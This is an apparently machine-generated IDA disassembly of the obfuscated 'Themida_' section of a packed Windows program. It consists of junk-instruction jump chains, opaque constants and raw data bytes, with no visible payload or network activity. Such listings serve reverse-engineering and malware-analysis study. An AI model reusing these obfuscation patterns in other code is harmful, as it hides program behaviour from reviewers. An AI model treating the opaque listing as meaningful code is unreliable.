loc_557B82:				; CODE XREF: Themida_:0055D88Cj
		not	ebp
		xchg	ebp, [esp]
		pop	ebp
		inc	ebp
		shl	ebp, 5
		add	ebp, 6E497047h
		push	esi
		mov	esi, 23B764BDh
		and	esi, 630A2DF4h
		add	esi, 7B533EF1h
		jp	loc_55731C
		not	esi
		add	esi, 5D876DC4h
		shr	esi, 6
		mov	ch, 0BEh
		mov	dh, bh

loc_557BB9:				; CODE XREF: Themida_:00565C7Fj
		add	esp, 4
		sub	esp, 4
		jmp	loc_561BB4
; ---------------------------------------------------------------------------
		db 5
		dd 43F1122Ch, 9DE9C329h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557BD3:				; CODE XREF: Themida_:0056A053j
		mov	ecx, edx
		jmp	loc_55CFE6
; ---------------------------------------------------------------------------

loc_557BDA:				; CODE XREF: Themida_:0056CD73j
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_56644F
; ---------------------------------------------------------------------------

loc_557BEC:				; CODE XREF: Themida_:005688ACj
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56A42B
; ---------------------------------------------------------------------------
aUs		db 'UИй╨',0
		db 0
byte_557BFF	db 0FFh			; DATA XREF: Themida_:00556228o
		dd 34FF1C77h, 24048B24h, 4A48E9h
		db 0
; ---------------------------------------------------------------------------

loc_557C0D:				; CODE XREF: Themida_:0056CF1Cj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55D9B6
; ---------------------------------------------------------------------------
aYsq		db 'YИ÷е',0
		align 2

loc_557C1E:				; CODE XREF: Themida_:005593FDj
		add	ebx, 0E93B94CBh
		push	ecx
		mov	ecx, ebx
		mov	eax, ecx
		pop	ecx
		jmp	loc_55A8DD
; ---------------------------------------------------------------------------
		db 0C3h
dword_557C30	dd 0E92434FFh, 97BCh, 2C8BE989h, 4C48124h, 1000000h, 2C3359CDh
					; DATA XREF: Themida_:00556004o
		dd 242C3124h, 5C242C33h, 7F5CE9h
		db 0
; ---------------------------------------------------------------------------

loc_557C55:				; CODE XREF: Themida_:loc_56C0F0j
		or	bh, 86h
		jnz	loc_5648CC
		push	ecx
		mov	cl, 6
		xor	cl, 3Ch
		add	bh, cl
		pop	ecx
		xchg	dl, bh
		not	dl

loc_557C6B:				; CODE XREF: Themida_:0055946Dj
		add	esp, 4
		pop	dword ptr [edi+24h]

loc_557C71:				; CODE XREF: Themida_:0055C718j
		push	5B0Eh
		jmp	loc_556BDB
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 296BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557C86:				; CODE XREF: Themida_:0056014Aj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_567C7C
; ---------------------------------------------------------------------------
		db 83h
		dd 0E6E904ECh, 8B000061h, 0C4812414h, 4, 0C107E6C1h, 5FE902E6h
		dd 5D000141h, 540E8D1h,	0CFEDFC7Bh, 34FFC101h, 68535824h
		dd 5927h, 24048F54h, 4240481h, 5B000000h, 4C381h, 0C3810000h
		dd 4, 0E9241C33h, 14495h, 0BD242C89h, 22E64F96h, 0D7C581h
		dd 0F581767Dh, 99635069h, 0CCA8E9h, 0BEE8000h, 8BF70058h
		dd 0CE92414h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557D0F:				; CODE XREF: Themida_:0055D3DBj
		sub	ebp, 0B2CDB4D9h
		jmp	loc_56259E
; ---------------------------------------------------------------------------

loc_557D1A:				; CODE XREF: Themida_:0056C834j
		add	dword ptr [esp], 6BE44DFCh
		pop	ebx
		xchg	eax, ebx
		push	edx
		mov	edx, 22249FCh
		jmp	loc_568B83
; ---------------------------------------------------------------------------

loc_557D2E:				; CODE XREF: Themida_:0055E6C6j
		push	dx
		push	ecx
		mov	ch, 0C5h
		or	ch, 0F6h
		ja	loc_55C7AF
		push	small 2CCCh
		mov	[esp], dx
		push	eax
		mov	ah, 51h
		pop	ebp

loc_557D48:				; CODE XREF: Themida_:00561A80j
		push	ebp
		push	4C066AA6h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5565F2
; ---------------------------------------------------------------------------
aQsup		db 'QИ·▐',0
		align 2

loc_557D62:				; CODE XREF: Themida_:0056A6E5j
		mov	eax, esi
		jmp	loc_556DFB
; ---------------------------------------------------------------------------

loc_557D69:				; CODE XREF: Themida_:005636FEj
		inc	ecx
		jmp	loc_568017
; ---------------------------------------------------------------------------

loc_557D6F:				; CODE XREF: Themida_:005658BDj
		sub	dh, 0CFh
		js	loc_561A66
		jmp	loc_55C35B
; ---------------------------------------------------------------------------
		db 0BFh, 66h, 0C7h
		dd 0C701A9D2h
		db 58h
; ---------------------------------------------------------------------------

loc_557D85:				; CODE XREF: Themida_:005610BDj
		push	edi
		mov	edi, 4D926DEEh
		add	ebp, edi
		jmp	loc_55E0F8
; ---------------------------------------------------------------------------

loc_557D92:				; CODE XREF: Themida_:0055FC95j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	3E9h
		mov	[esp], ecx
		push	48252505h
		pop	ecx
		sub	ecx, 4271D6F0h
		mov	eax, ecx
		jmp	loc_565BAE
; ---------------------------------------------------------------------------

loc_557DC0:				; CODE XREF: Themida_:0055CBDFj
		xor	eax, edi
		pop	edi
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	2D7Ah
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_55C86B
; ---------------------------------------------------------------------------

loc_557DDD:				; CODE XREF: Themida_:00568AFAj
		push	small word ptr [esp+2]
		pop	si
		jmp	loc_56AFD0
; ---------------------------------------------------------------------------

loc_557DE9:				; CODE XREF: Themida_:00559149j
		not	ecx
		sub	ecx, 2C9A4206h
		push	esi
		mov	esi, 59F8122Ch
		sub	esi, 6DB32DF4h
		and	esi, 54446117h
		jmp	loc_568F71
; ---------------------------------------------------------------------------

loc_557E08:				; CODE XREF: Themida_:0056CC9Aj
		shr	eax, 8
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_565ACE
; ---------------------------------------------------------------------------

loc_557E15:				; CODE XREF: Themida_:00569F17j
		sub	esp, 4
		jmp	loc_55C1E2
; ---------------------------------------------------------------------------

loc_557E20:				; CODE XREF: Themida_:0055A6E1j
		push	ecx
		mov	ecx, 0D3A6F7Fh
		shr	ecx, 3
		sub	ecx, 7ABE5751h
		shl	ecx, 2
		jmp	loc_560593
; ---------------------------------------------------------------------------
		db 5
		dd 0A0816E5h, 0E52DF801h, 50A0816h, 48170C5Ah, 0DAE9565Fh
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557E4F:				; CODE XREF: Themida_:0056AEBAj
		push	edx
		push	627C0B1Bh
		pop	edx
		shr	edx, 7
		jnz	loc_56255D
		dec	edx
		add	edx, 0FF3B07EFh
		push	ebp
		mov	ebp, edx
		mov	eax, ebp
		pop	ebp
		add	esi, edi
		pop	edi
		jmp	loc_568BDF
; ---------------------------------------------------------------------------

loc_557E74:				; CODE XREF: Themida_:0055833Ej
		mov	[esp], edx
		mov	edx, 7C7C18A4h
		add	eax, 2BD13002h
		jmp	loc_55A71B
; ---------------------------------------------------------------------------

loc_557E86:				; CODE XREF: Themida_:0055A7F3j
		push	ebx
		jmp	loc_560824
; ---------------------------------------------------------------------------

loc_557E8C:				; CODE XREF: Themida_:0055E908j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_559843
; ---------------------------------------------------------------------------

loc_557E9A:				; CODE XREF: Themida_:0055704Dj
		mov	edx, 2
		add	edi, edx
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_565F47
; ---------------------------------------------------------------------------

loc_557EAC:				; CODE XREF: Themida_:0055AADCj
		mov	ebp, 6BBB79A2h
		jmp	loc_56A544
; ---------------------------------------------------------------------------

loc_557EB6:				; CODE XREF: Themida_:0055E2BCj
		pop	ecx
		push	31B1h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		add	ebx, edx
		jmp	loc_55C814
; ---------------------------------------------------------------------------

loc_557EDD:				; CODE XREF: Themida_:00563915j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_567D65
; ---------------------------------------------------------------------------

loc_557EF3:				; CODE XREF: Themida_:00561AADj
		mov	[esp], edx
		mov	edx, 0B210A005h
		add	eax, edx
		pop	edx
		jmp	loc_55CB82
; ---------------------------------------------------------------------------

loc_557F03:				; CODE XREF: Themida_:00569E5Fj
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5594B8
; ---------------------------------------------------------------------------

loc_557F0E:				; CODE XREF: Themida_:0055C1BEj
		add	ebx, 21546374h
		jmp	loc_5586A9
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 0DCh
		dd 0F57E00Dh, 0F9188Fh,	0B9E94700h, 5C000009h, 88240489h
		db 0D9h
; ---------------------------------------------------------------------------

loc_557F31:				; CODE XREF: Themida_:0055AD02j
		pop	ebx
		sub	ebx, 295A1755h
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edi, 27D40080h
		jmp	loc_55C94D
; ---------------------------------------------------------------------------
		dw 0CC88h
		dd 0E188D4F6h, 59CB8858h, 66241C86h, 7AE9515Bh
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557F63:				; CODE XREF: Themida_:0056C5D4j
		add	al, 8Ah
		jmp	loc_5583C1
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 319C2D66h, 43E9DFF7h
		db 94h,	2 dup(0)
byte_557F77	db 66h			; DATA XREF: Themida_:005561BCo
		dd 5624048Bh, 81E78957h, 4C7h, 4EF8100h, 87000000h, 545C243Ch
		dd 8324048Fh, 0E9042404h, 136C3h
; ---------------------------------------------------------------------------

loc_557F9C:				; CODE XREF: Themida_:0056795Fj
		mov	[esp], ebp
		push	4
		jmp	loc_55F74C
; ---------------------------------------------------------------------------

loc_557FA9:				; CODE XREF: Themida_:0056CB03j
		push	eax
		mov	eax, 5C4B2330h
		add	eax, 0D9C70976h
		xor	ebp, eax
		pop	eax
		pop	eax
		add	ebp, 64115EB5h
		jp	loc_5634CE
		dec	ebp
		jmp	loc_5665BF
; ---------------------------------------------------------------------------
		dw 3489h
		dd 90B85024h, 0C104B876h, 0BE906E8h
		db 30h,	1, 0
; ---------------------------------------------------------------------------

loc_557FDB:				; CODE XREF: Themida_:0055EEC8j
		jmp	loc_56D675
; ---------------------------------------------------------------------------

loc_557FE0:				; CODE XREF: Themida_:00569A50j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_562FCE
; ---------------------------------------------------------------------------

loc_557FF9:				; CODE XREF: Themida_:00564571j
		add	ebp, 41105494h
		add	ebp, edi
		sub	ebp, 41105494h
		pop	edi
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_556E80
; ---------------------------------------------------------------------------

loc_558019:				; CODE XREF: Themida_:00561483j
		and	eax, 2D6D4CC3h
		dec	eax
		jmp	loc_568A27
; ---------------------------------------------------------------------------
		dd 4525E951h, 0F8310001h, 4E8C15Fh, 2BE7602Dh, 58C50103h
		dd 354C581h, 2E92D6Dh
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558043:				; CODE XREF: Themida_:0056786Dj
		jmp	loc_5655CB
; ---------------------------------------------------------------------------

loc_558048:				; CODE XREF: Themida_:00557853j
		push	edx
		mov	dh, 0DCh
		sub	bl, dh
		pop	edx
		mov	cl, bl
		pop	ebx
		add	cl, dl
		pop	edx
		and	dl, cl
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_568E65
; ---------------------------------------------------------------------------

loc_55805F:				; CODE XREF: Themida_:loc_56A361j
		jmp	loc_560935
; ---------------------------------------------------------------------------
		dd 4BA52h, 54010000h, 8B5A0424h, 0C4812414h, 4,	802CE9h
		db 0
; ---------------------------------------------------------------------------

loc_55807D:				; CODE XREF: Themida_:0055F77Fj
		add	ch, 1
		not	ch
		or	ch, 34h
		add	ch, 73h
		jmp	loc_556BFB
; ---------------------------------------------------------------------------

loc_55808D:				; CODE XREF: Themida_:00567DFBj
		dec	ebp
		sub	ebp, 70271725h
		jge	loc_5668C3
		jmp	loc_56410C
; ---------------------------------------------------------------------------

loc_55809F:				; CODE XREF: Themida_:00564085j
		add	edx, esi
		mov	esi, [esp]
		jmp	loc_56CC78
; ---------------------------------------------------------------------------

loc_5580A9:				; CODE XREF: Themida_:0055875Fj
		add	edi, eax
		pop	eax
		and	eax, edi
		mov	edi, [esp]
		push	edx
		jmp	loc_566920
; ---------------------------------------------------------------------------
		db 0E9h
		dd 7Eh
; ---------------------------------------------------------------------------

loc_5580BC:				; CODE XREF: Themida_:00564997j
		xor	eax, edx
		pop	edx
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55E997
; ---------------------------------------------------------------------------

loc_5580D1:				; CODE XREF: Themida_:0056ADD6j
		push	5645071Bh
		pop	ecx
		inc	ecx
		shr	ecx, 6
		jmp	loc_56CBD6
; ---------------------------------------------------------------------------

loc_5580E0:				; CODE XREF: Themida_:0055E8B9j
		sub	edi, 4275B5ECh
		add	eax, edi
		jmp	loc_569EDF
; ---------------------------------------------------------------------------

loc_5580ED:				; CODE XREF: Themida_:00566F0Fj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55C761
; ---------------------------------------------------------------------------

loc_5580FE:				; CODE XREF: Themida_:0056104Dj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		jmp	loc_5624DC
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 57000000h, 0F3ABD55h, 7EBF2D06h, 0E958856Bh,	9EC5h
; ---------------------------------------------------------------------------

loc_55812C:				; CODE XREF: Themida_:00568459j
		add	ebx, 7D7B772Dh
		mov	edx, [esp]
		jmp	loc_5634B1
; ---------------------------------------------------------------------------
		dw 0E7E9h
		db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55813F:				; CODE XREF: Themida_:0055CC64j
		jge	loc_5601EC
		jmp	loc_55C118
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 569C2424h
; ---------------------------------------------------------------------------

loc_558150:				; CODE XREF: Themida_:005574B6j
		sub	dword ptr [esp], 14A265ACh
		pop	esi
		add	esi, 14A265ACh
		pop	edx
		jmp	loc_55C1AD
; ---------------------------------------------------------------------------
		dd 0CB31D931h, 0D3F7D931h, 0CB31D931h, 0C981D931h, 2B5760C6h
		dd 40E58A0Fh, 0E9830000h, 0F1BF57FFh, 31364104h
		db 0F9h
; ---------------------------------------------------------------------------

loc_558189:				; CODE XREF: Themida_:0055B89Aj
		add	edi, 5EBFE30Bh
		jmp	loc_563B60
; ---------------------------------------------------------------------------
		dd 11DBC281h, 3C8B1CBEh, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 74FF525Ch, 148B0424h, 4C48124h, 8F000000h
		dd 0E95C2404h, 11484h
; ---------------------------------------------------------------------------

loc_5581C4:				; CODE XREF: Themida_:0055DFF4j
		jmp	loc_560304
; ---------------------------------------------------------------------------

loc_5581C9:				; CODE XREF: Themida_:005588F0j
		add	eax, 4
		push	21h
		mov	[esp], edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55E98C
; ---------------------------------------------------------------------------

loc_5581EB:				; CODE XREF: Themida_:00564C5Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_565DEE
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C781h, 3C870000h, 0AF0F5C24h, 0E99C51C8h, 0FFFFE0D7h
; ---------------------------------------------------------------------------

loc_558210:				; CODE XREF: Themida_:00563FB0j
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 7F86542h
		dec	ebx
		jo	loc_569D9C
		shl	ebx, 4
		jmp	loc_568AB0
; ---------------------------------------------------------------------------

loc_55822C:				; CODE XREF: Themida_:0055CEA3j
		mov	[esp], ecx
		push	esi
		jmp	loc_55E707
; ---------------------------------------------------------------------------

loc_558235:				; CODE XREF: Themida_:0056A556j
		add	esi, 4
		sub	esi, 4
		jmp	loc_558474
; ---------------------------------------------------------------------------
		dw 0D101h
aZsc		db 'ZИ√╦',0
		align 2
		dw 0E7C1h
		dd 33C78104h, 0E9481C5Dh, 32DBh, 5E2414F7h, 2414F756h
		dd 8324348Bh, 575504C4h, 8BB3E9h
		db 0
; ---------------------------------------------------------------------------

loc_558271:				; CODE XREF: Themida_:00556762j
		shr	esi, 3
		push	ecx
		mov	ecx, 758A1888h
		xor	esi, ecx
		pop	ecx
		jmp	loc_56B394
; ---------------------------------------------------------------------------

loc_558282:				; CODE XREF: Themida_:0055A54Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55DDFC
		push	ebx
		push	1Ch
		pop	ebx
		add	ebx, edi
		push	dword ptr [ebx]
		jmp	loc_56B70D
; ---------------------------------------------------------------------------

loc_5582AA:				; CODE XREF: Themida_:0055D2C2j
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_56452C
; ---------------------------------------------------------------------------

loc_5582B5:				; CODE XREF: Themida_:00564BB9j
		jz	loc_55E5EE
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_56AE3A
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 0E9h
		dd 109Dh
; ---------------------------------------------------------------------------

loc_5582D4:				; CODE XREF: Themida_:0055F5D4j
		push	edx
		mov	edx, 278F1E4Fh
		dec	edx
		jmp	loc_56AC5E
; ---------------------------------------------------------------------------

loc_5582E0:				; CODE XREF: Themida_:0056C81Cj
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56B6BB
; ---------------------------------------------------------------------------

loc_5582E9:				; CODE XREF: Themida_:0056A999j
		xor	ebp, edi
		jmp	loc_56B2D5
; ---------------------------------------------------------------------------
dword_5582F0	dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFFDFE7h
					; DATA XREF: Themida_:00556204o
; ---------------------------------------------------------------------------

loc_558300:				; CODE XREF: Themida_:0056C43Aj
		and	esi, 4D5A2A2Ch
		ja	loc_565176
		add	esi, 0DD202587h
		mov	edi, esi
		pop	esi
		dec	edi

loc_558316:				; CODE XREF: Themida_:00559F77j
		pop	edx
		push	edx
		jmp	loc_56254E
; ---------------------------------------------------------------------------

loc_55831D:				; CODE XREF: Themida_:00559D2Aj
		xor	edx, [esp]
		pop	esp
		jmp	loc_55E9BC
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 148Dh, 0C16B44BEh, 0E9C6312Ah, 1246Fh
; ---------------------------------------------------------------------------

loc_558338:				; CODE XREF: Themida_:0055FD9Dj
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_557E74
; ---------------------------------------------------------------------------
		db 0C1h
		dd 8B0F08EAh, 5232h, 4B7AC281h,	0F08922AEh
		db 0B5h, 0DDh
; ---------------------------------------------------------------------------

loc_558356:				; CODE XREF: Themida_:00556D2Ej
		add	esp, 4
		add	edx, 0FFFFFFFFh
		add	edx, 0EC17FBF5h
		add	edi, edx
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_559C52
; ---------------------------------------------------------------------------

loc_558372:				; CODE XREF: Themida_:005662DEj
		push	eax
		mov	eax, 5F0767E0h
		jmp	loc_56B221
; ---------------------------------------------------------------------------

loc_55837D:				; CODE XREF: Themida_:0055636Dj
					; Themida_:0055DDA2j
		mov	ebx, 3A845344h
		jmp	loc_56380F
; ---------------------------------------------------------------------------

loc_558387:				; CODE XREF: Themida_:005644B0j
					; Themida_:00564F5Bj
		pop	edx
		jmp	loc_564D1E
; ---------------------------------------------------------------------------

loc_55838D:				; CODE XREF: Themida_:0056355Cj
		push	esi
		mov	esi, 0B6B4D92h
		xor	esi, 3DE559Ah
		jmp	loc_560775
; ---------------------------------------------------------------------------

loc_55839E:				; CODE XREF: Themida_:0055F918j
		jmp	loc_55F0F3
; ---------------------------------------------------------------------------
		db 0Fh
		dd 11ADA88h, 43C3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5583AE:				; CODE XREF: Themida_:00559DA3j
		add	edx, eax
		push	ebp
		mov	ebp, 302837DCh
		jmp	loc_5636D5
; ---------------------------------------------------------------------------

loc_5583BB:				; CODE XREF: Themida_:0055E010j
		pop	esp
		jmp	loc_564901
; ---------------------------------------------------------------------------

loc_5583C1:				; CODE XREF: Themida_:00557F65j
		mov	ecx, [esp]
		add	esp, 4
		push	14DAh
		mov	[esp], edx
		push	ebx
		mov	bh, 0Ch
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0C8h
		add	ah, 0DBh
		push	ebx
		mov	bl, 0A9h
		and	bl, 0B8h
		dec	bl
		sub	bl, 0DFh
		xor	bl, 0CFh
		or	ah, bl
		pop	ebx
		push	edx
		mov	dh, 57h
		push	eax
		mov	al, 14h
		jmp	loc_5632C0
; ---------------------------------------------------------------------------

loc_5583FC:				; CODE XREF: Themida_:0055C0DFj
		mov	[esp], ecx
		mov	ecx, 4
		push	ecx
		pop	ebp
		pop	ecx
		sub	esi, 5CDB3D1Dh
		sub	esi, 198D2ABBh
		add	esi, ebp
		add	esi, 198D2ABBh
		push	ebx
		mov	ebx, 5CDB3D1Dh
		add	esi, ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_568D63
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E7F68100h, 5A71C847h,	639EE955h, 34FF0000h, 0ACE95824h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558457:				; CODE XREF: Themida_:00565FABj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55A17E
; ---------------------------------------------------------------------------
		db 1, 2	dup(0E9h)
		dd 201Dh
; ---------------------------------------------------------------------------

loc_558474:				; CODE XREF: Themida_:00558241j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55D6C9
; ---------------------------------------------------------------------------

loc_558482:				; CODE XREF: Themida_:0055FE1Ej
					; Themida_:005677EAj
		push	edx
		jmp	loc_568037
; ---------------------------------------------------------------------------

loc_558488:				; CODE XREF: Themida_:0055E299j
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_5694D7
; ---------------------------------------------------------------------------

loc_558492:				; CODE XREF: Themida_:00563881j
		push	esi
		jmp	loc_564932
; ---------------------------------------------------------------------------

loc_558498:				; CODE XREF: Themida_:005599A9j
					; Themida_:loc_5634E7j
		mov	esi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5E9A07A4h
		inc	eax
		xchg	eax, esi
		not	esi
		inc	esi
		xchg	eax, esi
		not	eax
		push	ecx
		mov	ecx, 359B07C6h
		and	eax, ecx
		pop	ecx
		not	eax
		xor	eax, 0EEFDB33Ah
		sub	esi, eax
		pop	eax
		xchg	ecx, esi
		push	55B2h
		mov	[esp], ecx
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55F440
; ---------------------------------------------------------------------------

loc_5584D9:				; CODE XREF: Themida_:0056D4DDj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_563C8C
; ---------------------------------------------------------------------------

loc_5584EA:				; CODE XREF: Themida_:00568023j
		push	esi
		mov	esi, 3F804963h
		add	ecx, esi
		pop	esi
		mov	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	ebp, edx
		pop	edx
		jmp	loc_56D2F6
; ---------------------------------------------------------------------------

loc_558507:				; CODE XREF: Themida_:00567FA0j
		mov	edi, esp
		push	edx
		push	edi
		jmp	loc_56CA63
; ---------------------------------------------------------------------------

loc_558510:				; CODE XREF: Themida_:0056C343j
		mov	edx, esi
		pop	esi
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_562F58
; ---------------------------------------------------------------------------

loc_558527:				; CODE XREF: Themida_:00558A78j
					; Themida_:0056B6CCj
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_563559
; ---------------------------------------------------------------------------

loc_558534:				; CODE XREF: Themida_:00559132j
					; Themida_:0055F42Dj
		mov	[esp], esi
		jmp	loc_566A01
; ---------------------------------------------------------------------------

loc_55853C:				; CODE XREF: Themida_:0055AD4Cj
					; Themida_:0055DEACj
		mov	ebx, [esp]
		add	esp, 4
		push	6869h
		mov	[esp], ecx
		push	7D833C49h
		pop	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 206055DDh
		push	edx
		jmp	loc_55FA15
; ---------------------------------------------------------------------------

loc_558564:				; CODE XREF: Themida_:00564E9Aj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_565741
; ---------------------------------------------------------------------------

loc_558573:				; CODE XREF: Themida_:0055AFA7j
		pop	ebx
		push	ebx
		jmp	loc_55D6B7
; ---------------------------------------------------------------------------

loc_55857A:				; CODE XREF: Themida_:00568618j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56A5B5
; ---------------------------------------------------------------------------

loc_558585:				; CODE XREF: Themida_:00569637j
		mov	edx, 721B253Dh
		xor	edi, edx
		pop	edx
		push	ebx
		mov	ebx, 69FC7550h
		push	edx
		mov	edx, 7C8B9C1Ah
		xor	ebx, edx
		jmp	loc_557858
; ---------------------------------------------------------------------------

loc_5585A0:				; CODE XREF: Themida_:0056C418j
		mov	ecx, ebx
		pop	ebx
		mov	ebp, ecx
		pop	ecx
		add	edx, ebp
		mov	ebp, [esp]
		jmp	loc_56217D
; ---------------------------------------------------------------------------

loc_5585B0:				; CODE XREF: Themida_:00560AF8j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	eax, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_568E83
; ---------------------------------------------------------------------------

loc_5585D2:				; CODE XREF: Themida_:0055A194j
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		push	ebp
		mov	ebp, 278B0A95h
		neg	ebp
		push	ebp
		not	dword ptr [esp]
		jmp	loc_561145
; ---------------------------------------------------------------------------

loc_5585F1:				; CODE XREF: Themida_:005616E4j
					; Themida_:0056BE45j
		neg	ecx
		ja	loc_569A47
		push	edx
		mov	edx, 7DE00BCEh
		jmp	loc_55C748
; ---------------------------------------------------------------------------
		dd 4244431h, 5612E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55860E:				; CODE XREF: Themida_:loc_56244Ej
		sub	edx, 5A6D96C0h
		mov	eax, edx
		pop	edx
		inc	eax
		jmp	loc_556A14
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 8Ch
		dd 0F0D3303h, 0DAF185h,	78E95600h, 0F0000A9h, 0C22E8Fh
		db 0
; ---------------------------------------------------------------------------

loc_558635:				; CODE XREF: Themida_:0055F869j
		mov	[esp], ebx
		push	eax
		mov	eax, 712B37EDh
		mov	ebx, eax
		pop	eax
		add	ebp, 79604B1Dh
		add	ebp, ebx
		sub	ebp, 79604B1Dh
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5678C8
; ---------------------------------------------------------------------------

loc_558669:				; CODE XREF: Themida_:0055AF97j
		push	esi
		jmp	loc_55C45B
; ---------------------------------------------------------------------------

loc_55866F:				; CODE XREF: Themida_:005564E0j
		jmp	loc_56B99E
; ---------------------------------------------------------------------------

loc_558674:				; CODE XREF: Themida_:0056959Dj
		mov	edx, 7AA0452Fh
		jmp	loc_55CF87
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 14066h
; ---------------------------------------------------------------------------

loc_558684:				; CODE XREF: Themida_:005642CEj
		dec	eax
		jno	loc_56BD36
		push	30F1h
		mov	[esp], edi
		mov	eax, ecx

loc_558695:				; CODE XREF: Themida_:00566A83j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_558C85
; ---------------------------------------------------------------------------

loc_5586A9:				; CODE XREF: Themida_:00557F14j
		mov	esi, [esp]
		push	64B6h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0C880D1Bh
		xchg	edi, ecx
		inc	edi
		jmp	loc_55E341
; ---------------------------------------------------------------------------

loc_5586DE:				; CODE XREF: Themida_:0056D4F7j
		pop	ecx
		sub	edx, 0F45FF9A1h
		jmp	loc_5574B5
; ---------------------------------------------------------------------------

loc_5586EA:				; CODE XREF: Themida_:005666FDj
		add	esp, 4
		push	esi
		mov	esi, 12806072h
		jmp	loc_560C64
; ---------------------------------------------------------------------------

loc_5586F8:				; CODE XREF: Themida_:0055BB57j
		mov	ecx, [esp]
		add	esp, 4
